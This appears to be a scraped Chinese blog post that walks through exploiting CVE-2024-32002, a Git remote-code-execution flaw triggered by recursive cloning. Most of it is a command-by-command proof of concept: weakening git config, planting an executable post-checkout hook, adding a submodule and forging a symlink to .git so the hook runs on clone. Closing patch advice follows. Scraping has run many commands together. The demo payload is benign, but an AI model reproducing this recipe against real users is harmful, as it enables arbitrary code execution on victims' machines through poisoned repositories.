2026/5/21 8:02:54
网站建设
项目流程
网站被攻击了怎么处理,做网站哪种编程语言好,网站视频超链接怎么做,单页面组合网站Exploiting CVE-2024–32002: Git RCE via git clone
概述
首先#xff0c;我们来了解一下这个漏洞。CVE-2024–32002 (CVSS 9.1) 是一个发生在 Git 中的严重级别#xff08;Critical#xff09;漏洞。攻击者通过 git clone 命令克隆一个恶意仓库#xff0c;并且必须使用 -…Exploiting CVE-2024–32002: Git RCE via git clone概述首先我们来了解一下这个漏洞。CVE-2024–32002 (CVSS 9.1) 是一个发生在 Git 中的严重级别Critical漏洞。攻击者通过git clone命令克隆一个恶意仓库并且必须使用--recursive选项即可实现远程代码执行RCE。这意味着攻击者可以从远程运行预先隐藏的命令。受影响的版本v2.45.0v2.44.0 v2.43.3 v2.42.1v2.41.0 v2.40.1 v2.39.3已修补的版本v2.45.1v2.44.1v2.43.4v2.42.2v2.41.1v2.40.2v2.39.4该漏洞已于 2024 年 5 月 14 日星期二修补。漏洞分析根据官方公告https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv包含子模块的 Git 仓库可以创建一个路径通过在.git/目录中写入文件而不是写入子模块的工作区来触发 Git 中的漏洞。这种方法允许写入钩子hook一种在 Git 仓库中发生特定事件时自动运行的脚本。在这种情况下钩子将在运行git clone命令时执行导致用户没有机会在代码运行前进行检查。符号链接符号链接symlinks 或 symbolic links是充当指向其他文件或目录指针的系统文件。在 Git 的上下文中它可以从当前仓库引用其他部分。虽然这种方法很方便但符号链接也可能被用于其他恶意目的从而对系统产生负面影响。演示环境设置让我们从设置用于演示的机器上的 Git 配置开始使用以下命令gitconfig--globalprotocol.file.allow alwaysgitconfig--globalcore.symlinkstrue命令解释git config --global protocol.file.allow always此命令用于设置 Git 始终允许使用file://协议进行操作。git config --global core.symlinks true此命令将设置 Git 能够创建和管理符号链接而不是将其视为包含链接内容的普通文本文件。在你的 GitHub 账户中创建两个空仓库用于测试分别命名为git_rce和hook。创建git_rce仓库创建hook仓库完成上述步骤后从我们刚刚在 GitHub 上创建的仓库中git clone这两个仓库到你想要测试的机器上。进入hook/目录然后在其中创建y/目录和hooks/目录cdhook/mkdir-py/hooks在hook目录中创建一个名为post-checkout的文件并添加你想要执行的命令。在本文中我们使用打开计算器的命令适用于 Windows Mac以及将单词 “pwned!!” 写入/tmp目录中pwned文件的命令。添加完我们想要的命令后我们使post-checkout文件可执行使用命令gitupdate-index--chmodx y/hooks/post-checkout命令解释git update-index此命令将在提交到 Git 仓库之前根据条件创建更改。--chmodx这是git update-index命令的一个选项用于指示 Git 更改文件的权限使其可执行。y/hooks/post-checkout需要更改权限的文件路径。准备好所有文件后使用以下命令推送到 hook 仓库gitadd.gitcommit-mfirst commitgitpush origin main命令解释git add .此命令将当前目录中的所有文件添加到 Git以便在下一步提交。git commit -m first commit此命令将从前一个命令的快照文件中并为每个文件附加消息或注释以便于跟踪每个文件的更改历史。git push origin main此命令将上传已提交的所有内容到我们链接的 Git 仓库在本例中就是 hook 仓库。回到之前我们git clone下来的git_rce目录。利用过程使用git submodule add命令将hook/仓库添加为此仓库的子模块gitsubmoduleadd--namex/ygitgithub.com:Jockky-dev/hook.gitA/modules/x命令解释git submodule add用于添加子模块该子模块将引用另一个仓库以便在当前仓库中工作。--name x/y用于指定子模块在当前仓库中的引用名称以便相互引用。其中x表示顶级目录或根目录/y表示子目录或将被调用的目录。gitgithub.com:Jockky-dev/hook.git我们想要添加的子模块的 URL。A/modules/x当前仓库中将用于克隆子模块的路径其中A表示顶级目录/modules表示仓库内的子目录x是子模块将被拉取到的路径。添加子模块后接下来是创建符号链接作为两个仓库之间的指针。printf.gitdotgit.txtgithash-object-w--stdindotgit.txtdot-git.hashprintf120000 %s 0\ta\n$(catdot-git.hash)index.info首先创建一个名为dotgit.txt的文件并将单词.git添加为内容。命令解释git hash-object -w --stdin dotgit.txt dot-git.hashgit hash-object用于计算指定文件的 SHA-1 哈希值的命令。-w指示 Git 在计算哈希值后将文件写入 Git 对象数据库的选项。--stdin指示 Git 从标准输入读取数据而不是命令中指定的文件。 dotgit.txt指定通过从dotgit.txt文件中提取内容作为输入然后输入到git hash-object命令中。 dot-git.hash指定将前一步的输出保存到dot-git.hash文件中。命令解释printf 120000 %s 0\ta\n $(cat dot-git.hash) index.infoprintf用于格式化并按需打印字符的命令。120000 %s 0\ta\n120000指定文件的权限模式120000 表示指定为符号链接。%s从输入中获取在本命令中是从dot-git.hash文件获取并替换此位置的字符串。0指定阶段号或提交前的版本0 表示未包含其他分支、合并阶段提交的当前点。\t用于分隔或制表输出结果使字符不连在一起的转义序列。a符号链接将放置在仓库中的路径名称。\n用于在命令结束时换行。$(cat dot-git.hash)读取dot-git.hash文件并将值替换到命令中%s位置的命令。 index.info将命令的最终结果保存到index.info文件中。注意在 Git 中每个文件都被指定为一个 SHA-1 哈希值。对于符号链接它是一个指向之前创建的符号链接路径的链接。运行上述命令后我们将得到类似于图中示例的输出。使用index.info文件作为输入来更新 Git 索引gitupdate-index --index-infoindex.info命令解释git update-index --index-info index.infogit update-index将在提交到 Git 仓库之前根据条件创建更改的命令。--index-info指示 Git 从指定的输入中获取内容以用于命令的选项。 index.info指定将用作前一个选项输入的文件名。git ls-files --stage用于列出文件信息及其阶段根据模式输出mode object hash stage\tpath。准备好所有文件后使用以下命令推送到git_rce仓库gitcommit-msymbolic link addedgitpush origin main检查git_rce和hook仓库中我们上传的所有文件是否完成。一切准备就绪后我们就可以开始攻击了。攻击演示注意别忘了在git clone命令中加入--recursive选项才能使漏洞利用生效。gitclone--recursivegitgithub.com:Jockky-dev/git_rce.git cve-2024-32002-exploited修补Patch方法将 Git 更新到最新版本对于 Windowsgit update-git-for-windows对于 Linux (Unix)sudoaptupdate-ysudoaptfull-upgrade-y在 Git 中禁用符号链接使用使用命令gitconfig--globalcore.symlinksfalse避免克隆来源未知的项目禁用 Git 中的符号链接使用git config --global core.symlinks false当然最好的方法是避免克隆来源未知的项目。参考资料https://nvd.nist.gov/vuln/detail/CVE-2024-32002https://en.wikipedia.org/wiki/Symbolic_linkhttps://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgvhttps://git-scm.com/docs/git-clone#Documentation/git-clone.txt—recurse-submodulesltpathspecgthttps://git-scm.com/docs/git-config#Documentation/git-config.txt-coresymlinksCSD0tFqvECLokhw9aBeRqpG/NCS8B24x7B65YcX9iF1NeCL/Z53ORp3P0Do0x1a8g7sfn9CmJcTbDE1x4LiM1WmIRQ6tP3HLOsYKttlyUd12HdNehSJOS1k7votv6hwMr7Acm8cnFc4S4U6owThOJcDmi58RHRL/l16BLw7Eo更多精彩内容 请关注我的个人公众号 公众号办公AI智能小助手对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号网络安全技术点滴分享